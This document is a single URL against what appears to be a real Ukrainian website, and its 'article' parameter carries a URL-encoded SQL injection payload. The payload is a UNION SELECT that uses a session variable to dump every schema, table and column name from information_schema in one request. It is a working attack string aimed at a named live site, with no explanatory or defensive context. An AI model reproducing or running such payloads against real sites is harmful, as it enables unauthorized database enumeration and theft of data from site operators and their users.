http://www.oda.ck.ua/index.php?lng=ukr&section=&article=-183+union+select+1,2,%28select%28@x%29from%28select%28@x:=0x00%29,%28select%28null%29from%28information_schema.columns%29where%28table_schema!=0x696e666f726d6174696f6e5f736368656d61%29and%280x00%29in%28@x:=concat%28@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name%29%29%29%29x%29,4+--+